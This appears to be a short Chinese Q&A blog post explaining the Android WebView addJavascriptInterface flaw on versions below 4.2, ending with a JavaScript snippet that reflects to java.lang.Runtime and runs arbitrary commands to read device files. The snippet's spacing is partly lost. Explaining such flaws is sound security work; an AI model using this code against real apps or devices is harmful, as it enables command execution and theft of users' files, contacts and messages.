什么漏洞?
用addJSI這個方法在4.2之下導致不安全,因為js可能包含惡意代碼。
包含惡意代碼可以干什么?
可以訪問你設備sd卡上任何信息,甚至是聯系人信息,短信。不信?可以去問問湯海宏H5不在app幫助下如何拿手機圖片。
這個漏洞是怎么出現的?
1、WebView添加了JS對象,并且當前應用具備SD卡讀寫權限:android.permission.WRITE_EXTERNAL_STORAGE
2、JS可以遍歷Window對象,找到含有getClass方法的對象的對象,然后反射得到RUNTIME對象,調用靜態方法來執行一些命令,比如訪問文件;
3、通過訪問文件命令返回的輸入流中得到字符串,就可以得到文件名信息,就可以干一些事。
核心JS代碼如下:
functionexecute(cmdArgs)
{
for(varobjinwindow)?{
if("getClass"inwindow[obj])?{
alert(obj);
returnwindow[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}